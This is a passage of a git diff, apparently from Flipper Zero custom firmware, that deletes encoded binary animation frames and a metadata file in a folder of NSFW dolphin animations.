z5AZx}6r7wwBMFrLb@jRce17P%$x5`gN|g$`ecK`i0lxtZ0;(+>Ra3L~>)UVuvHpOB zN;OQaQ%j`pU%zmXc>BfW6oN=HG>`7>{4z0mNHIF9tgH8H`|rJZ_#rh{)o>9^l^ zZGHRrFhE6+(qSrE9{1kw|N8&n@DA|2qOzE$1M9BuRek^P=!?pcqS6(|z5Tua`@i}5 za7E=5q=5$UxA$vCBmc^yib0`EmxH@o`}e*5`*=L56rdqsKL73R@Ar2Eki18t03&ey z{>{Q4kO6L+{{Me}1>!)#@8HXBw_fk_c)$yQz4$)+zTC7Q5Dw%Pz3;yZpa3=qe*<+_ i2S@;aa1d>P2H_7Q7(%~QaSuTO+IB#PfII=<4*+Ecmu#0fCu%$0uSAETpgSXth67S4RjQSStw8_s1;Blb*)g)DM>N_ zG1O167x)eXb*+kr%9AD4XgyRq@3I^t8r&>CSt?WqE3Vyq_cy(VZ`B45ki2S=N=*`} z@Ap-9wPE?vq`I0`NJu-q{mWNvfrHB-N`X>jno5`I>%_ly#pM8%WNLxYl+|fC`j(e% z0tb~6tEtim$5B$4@_SaOm^`%t@yg1wv|J$&cKX(N)HOA!4wj)Rl;t#)O56?NSxlCz zRZ7z2DpFicziSEL1IAG$sM4YlnJyBMQtfr1J^*-$hfS2L0ESg1((QGy4FJ5VP%SQs zks+w$sT$hU5I#~$tU2gaOjMG~Yx}^y0P$Xm6ksx3Ekcvn?P{RA0C?!BPEn+4N~4mi zYU|OE`9&!q@ySIrr{T8SeepnfX)-|Zz+7oEDNk>;T7V16l~huUhLe@5QntHT>HOJZ z9vn4kzB*fNUWWirl~N)P8r`pJDx~WBP>2BhsR8leVX~A;l}l?iBnUjR8A*f!SEKPafP=99`-$VNuSZ4b6fOr|_ucyb|7Q^wmXrus4flHgfA8y_ zA}=Q}fD7w)_4{tuuu0`YhXC$(x4r({zYwo5alkGYzkTZe1s|9JbRB))U#s8;K|pW5 z`}h8Q510qLb=%sDqyRgQeYtu-3GjWta?pL?D{}B4o6G?J#<1WZVEWK+;1|J#z%O6; N*grfQafpCC0pQ4-g?Rt~ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_5.bm deleted file mode 100644 index 136a19104c18cf95b104afb9e6b55ee33150006d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 832 zcmV-G1Hb$M06YT#cmu#0AcTXmf!~`0^RcRyf}ThOJ*C#R4P6KO|GxtkyIe0kgbM-c z>guhqcm@L1b=HH*OBAYacmMyr{G2_#Y%CsBtq)4?_1jmyusjCZwOt1e10f2u_j~`p zuI?RBs%_$;^QvU7+r4*x-8;~Btx>RfWi(PsPull=-}~a09^6>iaY{~05lZX*e_CFp zSYC91_{n6sEk}P}NY!^?!SkhLsTnOMt95#n+;*Y!z-1(vStO>b_1Do7f`2-Orj;V3 z)TL0Iu1dM9C!HfJRMd;dNm3#X*R>5do|2Ukq{V8q+EpW~ZHI%)Q7WkEWSW^KMi**10C>bD zFt~)0LxjjlG`iZf1Rh#S6cz!J>r|?=t4D5C0QdvMnjrD8NMR!)+Sg${1bI~<5DGT0 zs4^a{T2}xUmQy4q7~MugNu_MPvtW7XB#;~hJ4WOhrk1rWfE&u0se(W?dTgo8X&Z7t zhsz;Kfegm6C8WtZwy7C>>KRFaOm#x>m2_*c7zW@TG7SkBO=9#MjneN4fPMkvK$eAv zQIsZ(le^sn5AZ%!8x#VIRg|>G?N@`qJAv}mMHSQN_!zw4lp3s80amGR_kI8T2DA??M1v&J9Y53S_Wc9JeoX?D zrUt#e*Z1}Rw|T1yhz}p9zxBGkZ{YWUc~B%$kRaDLz5jRschz8dN+~fQApSo0ZSLE3 z`&fwlvV`G)Xf?gRzwh6!g#*fwA|DI`!T!H%b=%+G96o?Tz-s+}|KHl(VFeU|k_0FR z|9xsW41RDQG4TKgwfEoMf3R72e8!RTKfOY=i@q*w1^M3Bzp`q$16fD+2`Pf&#@G6CTp-{fp|Nd`~0MB3> KL~(#4@B}cOOP*B# diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_6.bm deleted file mode 100644 index 24230a32ae40d0a0086c66575b68760a61954c38..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 871 zcmV-t1DN~)0Am9HRRi}22j;`t4?F}5K>`P_QY-~L1Ovkr2d?T11Ok+T1F-+V!Rc+y z!~mtBka|5);X-QS!-J&7Wf33gc{{S8`Dh|qEnO>uSUU!;x*sV9k|`wg!KZ-o zQ>1_fB{}#&K_ig+cA|t*iDa@;PE`b8QcZ5y2r%ddl1U__#CcKBP|~Wl)3}ZXQZF2q zs!8_;jz{&|gup-03Z_(EG%Qb|2Y`}gD#7u;Kq(qgc*<&2sQMsoyHOzhpczV~S0zfs zekXCHRA$wl-m6Jc(^WfNSe60OGN`T)oG}_r zR+E9-ZiC~$fKezg6abF~RT8aLYVmvrz5!B;6of!ET~3n;y86Pn1@X#i9Ahe^$r58J ztLtFg1^CJ|s!`Hvjw2AMeQQx%0la9Gm<|H9D#=ncdQER!G9mJ+fk#VJlI3U_TDIvv zEb*vfW)KKXR+S?t8W5;8^(d9h+s5=@zUiaom)_RP2)h7 zL|_`7RVo!Br0qMfOagpx7DyEWl~mNZhb5w`0|Z_;3{(R_q$UoR34g)cU_1tRz&5a` zL?=lVm1=s>TGRu9{~wJ?3hWv~Kzd)eKhg`}?Tf}qim6F56sk?qza7*;*X01j%`q`8 z1xqL1`px?h{{ehagF>l63#012*XzFv|A77?@v6ySG_0j-ul>99BlZJ$z$rCKP6H`Q z`d_;J?*ttlPz;tzB`A>OdtSZo?}Gt=AIeK9)oEo?tIq%Lu7QIFpaL343Q0tcO7e|^;=%XV!r%`P2gd@t{og=0ttAJi->>`s{nO+C xYz2FJuHS30AozfO{{O#U>>V%-cXr*su7m6KzTN#|!1~rv{rd8BfCh0M0+-Zq97`Pxj+avjK;yKkz=5SeqWr79@c8|~BWl}+PZ6ksX>_0M{`v=i?)ro0 zQi*D6keUbY>khzGtFV{^LIEVws`=WtEf@< zLFAQMPA8?Lm-;^Z4z8$vHwb=1MUtsWDK||P`d4kct%u=z&_yJG;fYdz{<^N$R4*Ne z{{gC`(pn>u)*J@acVG|0zW|8Ua-so}etmkb=W1L(AJ}|yk}9rBm8IWQwmQ)G^gr+l zRHrMXl4Lmq!L?S+<=enjDN;;TDoYitb!wYf&^&+C3{R?)Fvx1P8dyhX-By5pH~0#b zCo4*o(I`@_Evr{8fNno@45dp!lA;jCky7qmt6}l?;4D~(29{MtwPkRYt!>%^-2Y%P zkf;Qrlc|aw2W{K6KtG7_sI5k+QmWBuGAnM@I|A^3a1y9Y0)ds)WU`q}R<~^cNDKm! zFB*i4BdV!LYgV|d0|5bmWP#;Xl~rW4uTNTb4;UN*s{w;(G?gNeRyVn52Lc}e(m)_| zicJ!i5}|cl#t4bG*i)|)=ct2tBrr{}C ztQA5f6|UMZa4QA8xH%aXrl~E;=`|5813Z2L@uXF9FhO9-wLd8C0bV~3v;rYjl4^8P zsuUMnH-LShTaEk!P;DHP1FKZEUZb!M#0}mn!I5O7ib2I>J@9U?Erxlu!&Sk+s7`>P8(b2n;?B*Zw{aKm&L!^;y_0 z)#64k@BZ2kdVv_~_TBmbzzAtS-{0y+AO!d8+W2@r_g}y4_2NJX_G_;HdRhrU3Ap|H zy&vKYdNuvlfkXlEaQ@xJr3MGaf~(#Cz&IEXd~iQ^ecZovK%4~&|L*Tw&=m*j?*DM$ SeMhez{<8)E1vJ2KW8hI-tD`so diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_8.bm deleted file mode 100644 index daa1472cacfe63052dc9757e36aaf2a196032b00..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 891 zcmV->1BCnm0Cxj`P(NSr0KmZoY=DE)A+OZ{20REZq$D1mPmp}R;DX)AfyaQTXew5{ zZuC|-4z?&hkSR<9efRf4;2aIq6c|tq1ydmk@Naiy0nlqmg$#gFwK8pv1KsbPz$zBK zSUhLY2!slgN{a5UMFH4%XF&1#Kyv_xGSSja}RxKgd2%95k6sOQE}i`a4p? zAnqgdkZ{DbT1Y3_4W!#j!{vPk4ogWCgyMUV+C{eNZ63$|pf4>=N~L$7^`TvM+Af9y^WvgG)-%>Y-YjrGBeg_NWK(@1Rz4l&nzDepo0ibGXkXV$HLp16K2jTA)4O%0TKMs>s3Y6?O zP!GrY0i*y7lTlKnpN0iMn!q<7xCJ6A${K_gRVCWMU>$f5M9?&PT+^U(Vs zJVgSd#`>uolkq8As z1O_i{d+MeT0+2)qTkqcd9{LSX5Wbr0Y#bic3Y1k4U%&EPfC+$#YGF_f#k*FpFal|6 zL!tP7|MB2^;G%^QsB86CuzSKR0rBvEfBj&4poFMheYgDJ^acWZ>qiHGLcnF!-uvDt z(?A(_{deE!6mfwkfJHC;e!M<_DKG-hJ6GH43`$M_ABD5u*Y~8L05%Vf_TjyOgXe)m R`@!u{Abh|f_1oV>d>{+onauzI diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/frame_9.bm deleted file mode 100644 index af10858dc162d640a4f2fb0d50450c9d476c0ec8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 889 zcmV-<1BUzo0CfX^NI$>-`~(njuzK<;^;)bv4p3w#2V zQiQ@_zh3M*0bIJ$#Do2T0Y@cAsK6C}ZKecq@CYjsKoj^1}l z$w?_ST~_aZ1GM$vLGu6P0mBl+Nj=@DZ%VZZx6+(EPUY3Qm_rlF3rH zvHXo%uLOW!|MZNkvkN4WRD2dGR@Z7TF6~1_Sd~(#IIONJg=)5#2fjZjL{P>x9aU2) z-t9o}AOEzX3jxqzv06$7hE#wWlYn>h2}~%oEJ0H{cyunLtfMXJ(eHruIG0ze=dObY?3Dh^a$KA}j!JP-_qsR}hD;K+3pt!BE8 z4;T!BDdB)&Wl6!2~>Jt2V#8y(!erSrD)+YnJA^VHXk3}0$JOVWMx!YO-4x#>TZqJ1MdG|B$TO47g4H}Np|aTx4=Kb z@r1-^Pz@mfc~{ox&LA7V>HK=NNChFnHjcTpW)Khf{A7}-OadT(ANYKL1L)sCDJ}tk zXe6FpUtT&7EeHJ?IY2PvDO?Nn^;94Mz-{0XT8J2A84L$+?==UK07+v?fWRmaya&5o zUk9ClUN}HGnnw3^10DdrG!l4#3*GKT2mvWUApjoxcXk_y0OAk@K!6MB?(Kur04VVQ z7PEJLfrHv41V6{S)+ay#YJi8(-S6Sx_L2?{VeYjw1OT*w0r)q6`Pe<65nZSZXdeAl zxE#?91SkkR4e$T<4{8Mf9#9XxTV8M}0L|bX-{1Be1sT97(+PIB^~wbd1sqZGo2~D- z3NUvffC^FX`|jX81{;6|;keg(v-d}0fDggo{qFwN_M4qb18w*2??C7x3=es|?zEf$ PaP9}L?oO0Z-5{V*bD55= diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/meta.txt deleted file mode 100644 index 721dbe089..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_4/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 20 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_0.bm deleted file mode 100644 index 7ee8a6b710f5c7b7fb2acb3e1dbc4968e3e3dc6b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 670 zcmWm0T}Tsg008j+eQf_j=KiNsm^N;=T&1*fY7ZBkI%!gn!YrsB=SP8vy37Zaa5qmZ za3Vg4DuEiqql1M6 zsZnk&78}5kgaV%euIe?U8D|d=<4P*uutg|r@DM=b7Sf9jcLIng+@M$lx)10pRdKPc zl{OloQSwSF88{tm;sb&A(e^P4DcmI!UWp{KmBw@6j%0KnmBjX zTEU2OQfkr^B@FN`j_h=CPBE#Zg#4@lmF$q~An3C5djeD2AytRIM}GK9H1V-<`Gxne zH8yZx?Q{fZAiG9XSPXH8E^!4lO9$a zT}CI#xv;A8nLH|2KT9}0H_BhZz(EfqhQXg%LZ6Zj?&wM6$g_CUn>4vEK?VeN*39(^ zckDx2{-j4{KR#dfEJwuzN6T&1sTF?C5x*?m!5RX=cX7-YOsdg`VRoqBOeRazy1s%% zg6@4#GcSL!)m1Q#TP`g$%pOs+1vi(`IWcHMQ_9F2Vi3l_Z;%CSeHvu1JSkJqdghF` zn7<^CyP@(aa<;y{-TF3?R7V>}GfVQK>>iu%AmGU)?x diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_1.bm deleted file mode 100644 index 61b2008eb7e71929856293f9fd34b570bc44f915..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 628 zcmV-)0*n0t0B{2T|Kaio1R?_v1r!EB;0B03a1a1`!Q%k(m;=Uu4;}zLAn*u)JjB8Q z5P9&yLJvWZgU9?2Di}QO0QLL>%0dr3gan8n^7sSRK>~hoInBQU@&^|Fc2Vlmn_PzXF? z3IYd+k3k0yGc6z)ZpqBmqSUB_Q~J%p?yP1VA1# zLP?i>Tn0P@W0wxGNkOB`#8uY9JQ$P?r;HR;G;1ePb6afRyG8`xd1_D(OdsuQ7 z6bXal1rd(}#tDM~h&`ZDW(h(tK>2Nm0A>^*e6$JrG9Y_L&jbK006tR!05CX%-WU%+ z0R!4N56S!jNDp=T1ILgL=t87G3hzL9L4o&wfJ77KWk29N|KRaYoB|{dcnm?DN%47? O_#Tis06gdz0D6FBpyt#7 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_10.bm deleted file mode 100644 index a282f8c9a677cb037602550e5a6fe357393483db..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 582 zcmV-M0=fMG073%4fl>tkoB@yF|NqCp=YW8~H~{v8fzH4KAVGu3G9Uts0LWl|0C<5) zAq0X3&K?hV#3}{_DF?t}AoYu4hG!svLJEQpNRCJzbOE@7*8vdG1Jptw^q^EMNHhqL zJth?j5{)1!QNRPv5y)1EeBgKp5It!SKLS**0MUX2(g`Sm&_BW9gNa5G4`>l2VC*4M z3`8Eqk^m4qd_erfKpm2%y094VXPq!df7EiHZ@xhXTk*QNVj( zE+AqDl>8pC3W43T~#;ITH8A}|jc5IkZWFT_2_LotFC2p%yB1QYiMfWZOf0vQYfL=PGS6Zr>$ z1H^(bCfL9tfb;x7!R!SPc&Ek?au^^iNFrMjfWrXg2~vnXh++j17{r0&2nVVRf#!N3 zSb@bnVDwiIEN6i8ffY_f4;+Fdon%fBdC35Spa---6e3Zg4Fn!sANV~KWDhF<6lfsg z1B&!PWggqBc17@~>+Lp+c@T>>W| UA;=ZNj4CeFa$gRFwi6)0C|bZ z1_LN`0|8(Moc;kA{0`6IAHZ+{=1v%-5FT<51RsO(CnQWBgwcXgU2{dNQJ`yvM2|F1rW?9QF31Zfk)s{4Z?L9 zC-4smxK+s6U;#oX0QE+oKfnbLpm+i3okjt(#2?rIeoz)755RE1f586y1I?PO1A!a} zABO@5)CvS}Abmj~hXNxIK41m`2h<_5Kfry!F%S>M{2ucFdBFY?^)P|Pa0@HI45Cnf z06iywviKRwFAv~H!RG|{L*O0&cS`9t79_6>9A>P=I*E2%;G?0VWC|eh0u9M8XLcNXQFifCrQ! zKo$^qx~cV;x>q&g@!vIK>!Lu5Az{N z69^Ao5fId<7$5<80qPAPdZL8rK=Z&0)Bs@ffnXuP_+b$=wj%`q63CIGfZ$Jo`VbKT z{~U$~C`AC|B@=-G337!&fWr*t1S3in1_C!BAj}gi4a>A}8d8U@;JIc~}gC0XHNffe8E>g&rwEz=O^Q2#`S$f*cqa6nsGQ zfWaaPK zkU;ST<2#T6XaMwpLy4-eC=@^*aBzG;P0@Zc~!Ab7*% z0kW_+Ozt@BBe-DT@_}R^a1Q}oNy7+t2t430h~acl<6!V81|I{60)+BD0HDy|8V?FU zSE3I{0Kja}2!|R&@Lq^KOd|pam9hZ{@a)?36gv^!yCW218-sgV2V6 z^nk;`?-2o%5TZW-b6^re)DU@KAYj6uFv(m%^8tuFh@{&fc)}j#7!{NP4%;wc0EzTK eQJg>=CBO%u6oNy*fw)V+97Lf<0E7G(h&(`2TK$gz diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_13.bm deleted file mode 100644 index 09fb5a6eeafc5a7bf7e71ec768376649f7dc62e2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 658 zcmV;D0&V>P0FDCxfCdi$fWI~c|a$C zA@Bp&!5^Rt4jvD9{~R823xo@R4_*brKo2?u5(W-U{K9<@2bBVW9EX1a=U>o7VF2>L zP$ZMX0!!==h+sVM6pz6HBkAFdDo+ED_z)5=0D(q9#s0xWcrgF)JdWdm=zqcE0f9uY zbMX1W$s%7E3W#9E@i(L%fgqR+g(NV@gm50w0C<21$S33nlrSEVfO|mX5FmO12k;MH z1Oy(8K?krX*ai<<{0JV$5%dGjeh(`EJz2>Q2f9pD!fr5pK!NE2fP>>e4>2%<-Utsl z_&m)*060W}+JN-n1KR%w2beUWU?GT5Kfv*P5CD7tA&x)BKo24CgUUI85sktC*BS$W zXZQ>lJZxS8sPF<~V8Ad2Km4Gk3LyI&0St5)6@bJ4;PDKMApk&eh+u){YZ3^-2n9k1 zj5ET$8~dz6BLr290!V)thXfuo;CX{YA~J+|U_bCU^gtevfoO!p5G~P$0mMQe@dAv% z3Lx?SKwyCLCW(MTq*x!|kVPU7Fi?R`0uLBKQ!1BeK}0J8_A5Fg;dm;>$@3?2YJun;mqKtc0=EF1_P;M4#Q zG9C}wgb*In@Osi9m;idm!RthVLIL@sfkHpP^oN4RAOai)U?0#(JP;nRaC*R?a8KYq z;4q+mu?7SWRpA5306B;lKW_{M2e=SH`ydDSK0!hNDgZs8Aoe(qz#riJfIvb2;0Npo z9;T!K920;K@P5Jp{Sd$dj{XQ3a6M)K^1uJ*;DMP~0qI}|yazaQAOPqf0P&yyNSn1Rn52 zF$2XIKLJ3&0p|!i6a&I+5POvc=s@!D1H{Tq!hkT#f?OW}6k);h7KsEw;!GX@Jeh{n zARyp{f<+>rfDQtIAbASN9=ISHgUJXW1HJ&tgeNe201iYCMWBElB)C9)#6jnP2h1d# zO40wJL;$!3p@YW$S}=MJ#2zq?1^)mbV0kNq9xUO80}Jp19s#UD;}Gxz#n>PLgR;@Q XK=QB#$-Y7&2c!jPQvtw;gbY6bg$cc_ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_15.bm deleted file mode 100644 index 95a2088b872c73d14363992b9a95a8fab8a5b7bd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 388 zcmV-~0ek)d0DuAifCdi$f&s=L3n(W58bJR53_KsuuzSJ*^Z+n_gZv)Qm;?wP;Pr?D z{2$=;gg`&g5PrbF-|&gZ0qH*nkSszX4|w=IPv{8{dc(o&5g>bjL;#o$3;6-_fd{j& zo#%kT1I`8y@P9x-;~*cc0|*a5(1Y864|)JSbO7`n5I;qufOobe9+Loj!U6sdJNyDr z2^Z;r1__b}ya*q3fP27!@dO8?2Sg7_AU-sJ@}Gmvge>ELNdf&t2c-$xt5OH*++iQ! zdEkNm4={-UgdS$`2iNc(!l4J0FbE+0S_nO0Ezt*zVEiCq2gQLRN8tyL;2zirAUs53 z510fj9wQM4yYz{~;~;yEgjhjS_%H|_SO|bThNKUP0K9k%5(lv4Xdv;J1I&Iv@qs}g z*ceK*fCDf`kUZe9DAWQ5A253IKOb2?fE+;acaS`%5D0gJvL8TtA_@WEgWmz>4j_9# ia1ro*{1Ku-Bk_aa3SjeqwuAsbfPaJhAK>&~7(ak&)19^e diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_16.bm deleted file mode 100644 index bb1351a5124478544215fe8597f2f6961e7e0b1f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 413 zcmV;O0b>3E0GR>*fC>RX1B@UTcmQdG<_Hg2`~)Ad@PC8e5D!>*JirDI@OwevK>r7{ zKpwC#e^0^v!GZ82;QN4w$G~I|e83=F3;YA%Mi>Nu9)ht4h#)|t{QraF04ouQ!QWyJ zOn5wC5D*!D2?K!#q5MJU03Yx@Fz`TFfJ^{bFnUG-`-89o#s~o*d|(eE54;GhfvEt% z1L6=5P6h}bXu$`*fF5`7c#B3L-&`O+!Rjp;06if9|AGV5S~LK9K>_K&2gC{x4>`a; zho&^&n;gZ*4k41hi$fbw$=gZvM; z5Iti6_P`j%Vf{Cuw3|X@IDkCA;E@ND=ugD}_7ty3Xs5m Hi~JrSfElLG diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_17.bm deleted file mode 100644 index 143c15d27df5d0c78087ba04f40ce708a778d3ed..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 425 zcmV;a0apG20Hp!{|KKmbb#U!AUK2k9;MPT2t0=34^rs^(5@i(f*4FFAoT^1JpqH@po7d1 zP=I*=i@@s;dnb?{pwS!-K#ZgDfP>YbU@`}c2p(pFhl2(%4>%w^$D{%%Fg&1efO{&% zreOA95C}=c4;VZ^9%PZgP2dv%dPo850GvP}fb%N|JjFu-2@DJ$DUpUq7zPh@fXpHs z05JpOgU5tUA;9yGgVseDgTd|q_aqea!Qq480OSvO2Ltg3I3K_szybe*!~j6?p##`H TK=h&m{2#OMe*OXe5Ab+^z?`)t diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_18.bm deleted file mode 100644 index 72dad90d7c9af8813bd17d2fedd1ad66e94c1fc7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 389 zcmV;00eb!c0D%Gj|KJ}8I2@pWGVo8qVh=bNKf&$52d{zx56B2V`~|n*U%~r;2d#h~ z-T)Z{6dsT{03d(BVgHi`0e%Ode2J(A5c<#-rXNe-J;UsqAbfxe@DDgRKf&|x2g>}z z_76`WJmKK~zyssN5AF*rPCx|{j0XS@J^(*3;DLaH)P^AQgM&r{4^S|J&IS({U_C(s4?wV(6;43(8wfri zK=n8(xIyY>5J@YL9-`53pwz+W7Z7@}h#qk8dVCFn4`}%GoZ}C1Abkwxo=|$F$R3PR z2e_z;h!0TcgUtwF^#+M(l!y;dXyPDn<{|^s5;%_$`2q1zj~|i&f(NC59x)^ugVfSC z0C^vXCO8mzf`}eI1rlJv=|aE*#y$_MWMe1$0}wp0;Pi+{dJzAF3?5KmddMhWfGFPq j^Wgva%%mVJa6E|#;2$7A;2Ge5gZv-gfglmY?|Xdpb}=TZm693GG$djZ5AOaXv{%m8C?2c^VLE9M8AKyyqn z03zIh=^}y{4Lo4;4h<4W4^oi>*q}-B2ebx}Bq$I(fJ6^CAL39CP$>h_0Z0d^)Pd#$ z5O|RUBt=pOoP6*i#NZf+9%=!8Bm!UqEI2%p0uN9jU;*d92ecR-TzCk)j05;)nK*&! zN*F;5tN}9zq~KIM12K=z1`jR-9iE`~fMNk7z=wnDAP;d!!NKRC2gE!clmL8Z!Q`JH hd^ZFi;Qt4=fgE7+H;_KOAN6?y>=q#Y5Qsk~|A5#Wm(~CP diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_2.bm deleted file mode 100644 index f6e7b7f1268795acac8f5da134d973439bca2c27..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 595 zcmV-Z0<8T308aw{|Ks!s00eLVqJm&N0MP&pKHv{%76X6}I6W{P&=4Sl&j&*Xt^gii z;CXOl0QKMj3-}Kz2tBL-LihvfU<4xp$N}jCfJOo2U@&^Y;1R(ggUTQeNPKb}4>JJY z;Q;iWKp|lBFbF(i0Q0Ob7mc4_F-d9xM?s z6#fJcNDNpEFenf`g91?)7#Lt+^N)kox-t#~3J4FD=&8qof)II<4uNnX3_@cR2fP~q z%^CzEBPa*FYXJ-wh&*Wk_mN-;LlA>PY5?+w!2#vO#{k9=0fOiO?*xdZhY%wasDs`> z2^z)%1OX6vLILI(DS}8yqz@RtJp&`az=XyM4=F%A#U+5xfyNvUDnLBhVp<>&r9>V% z0D1rm{Rbh4KL7Xl1%L=Jc!VS#xDWsS2IUZWM2G8u{I100An}knNFFBg_y`0nAo6mM zJYd7I@B_vl1_zOlL8VLwj{qJe5eJcwU*ZoXc!R_MP=#7YGDF zARzOH&@ce;!9c;{MjzlkU=4ABL56~+5PFA%_An^mJYkRzz&&7Kk$}zwqJtEH1I`&R zTM6(%Oei&=not~J>BRJ7=k1~3-||} h{2nl1dw&7!zdQl_f$boeE6yMTAMib-4D$jIIKV@R-Z%gN diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_20.bm deleted file mode 100644 index 732f0dba7f1f5b41a8074ff2f4588b00af6c0d34..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 402 zcmV;D0d4*P0FD8Gct8L6I2fS-r3d&CAYk_31No@n6d?M*1K8By_b-?M0qZ~f z6bv6F@%{uD9>2eE0v?q4th z1J?ie7#Kch@DK1gegN@@gVF#3AOQcN|KNIe#lmSLF@nTCm*V_`$MOG{;3MGmzXHS_ zBtes|1md5_2s}d~#1MFi2mnj5`UBEN`+#|tgdaXYc@+ji504N$l!6bQ5^Vp{0DN#k z=lloG1Ri&Qd|(M;5Bd8LW&rr07Q`M>05F5;NHhR^3Irdq0C_e<9-y%SpZFeFKzu?0 zvf$8up3<3xbP8JLva{w6w%03SoCNN&`Ab7*v14P*u++;t%d0{k4=WUc7fH;7E zW8_UjS13HM;6ake;2r~MD~bX5frHA65dn|*#Gvv2z<3luc|Z>0o*;R^A+3E~eD0Ki2Aj!=33$083?@dMNU0E{1;9+&tZkRFHPI|w}BP(xujR34B> zH^Dq`z=s9^VN0 zc){}kkCccWAh8F*0Kw=Z5PCb00Y3-603IMy2loIU;Q0iIKf&f-fXM+(USRt0f9K%- F|A42>!#n^0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_22.bm deleted file mode 100644 index 048c24da4fa83806c5d36691daa04f7c366e3729..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 429 zcmV;e0aE?}0I320fC>%^ZvZgB1p@_?Kn7d@e}mcr4{QKEhh`7(d6y6XH}HQ?!R&5v z0t3oF0RID&jv^!Y0EhSuKlHrvar^{4USE;vcs=6t@Bsu~CldpVoL>VJhsXuzKNpEm zp`QW?1Ihsi7mxsC7se6E!R8b=2NUtZAQb@oVDyG?d*gwJ1Lh@yR+v2G3-pmg3*vPU zeAuD|@}Gm}!yr+Tq(LP>gaguo4=i{-us#rY@WJPR2c83g19+DNA5e06cmd}CfQ=7; z!w`72#1>%mz#j!%AoTzkJZI97AK-Eas0@GqpZ@$FEwcy5{2wK8|NKGbXApX!$N%#Ojr_&dn^rnVD}~%KGXz*AQ1!R!~z&#J_99zDTx$;>^Ue1G)$xqV@RIH z8NewJJ+KfkV8j-t4`ATl0An5p)WUrL{tt*B91rLI29hv)z%X<55(DD^4@>|*!RP-6 X_&>q^5AaFw0qMX8_&>q^5Aa}s7D2Wp diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_5/frame_23.bm deleted file mode 100644 index 9d92c467761d3c2ff2d110f220c85660c3cb2657..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 495 zcmVf&C_oIn0K)(j1Rvn`-~-rhVEVs<{2urKde6c9L1WSY4n7JH z5kNlxA^!u?9(f~>@F3zDK!{{WrTF|8Pw*coaQws~4>8b#%izK>2$=*TAn`RH@&b$# zq5Ki05EdW#3SjZ@5(Xa_1e8EXa0?)Oe}oYS&lB2o&X-47~nji;PeL`1A$-%mL5P0FnZuW zVDZ7w0q;QIK!1Soh=bAu4@e(_;eVt9;z5A1um*o*C7?Zc@PCAU#1Dvu10O&5L+&sL z2tFbI|AY)5FpLC${rF}IE>_-rI z+yU$WFnE`S;r^eQ#hkz)|M)@X;AOc3#$XR80|kr!$C!V?;;=;V1IzvoH365%tU&RI z1I<8CP?7`01R(MRlw==bk-!rON;nVw`~)EKB#i*ZL{SHpJRV`epcu!1ksx^U!R8zh 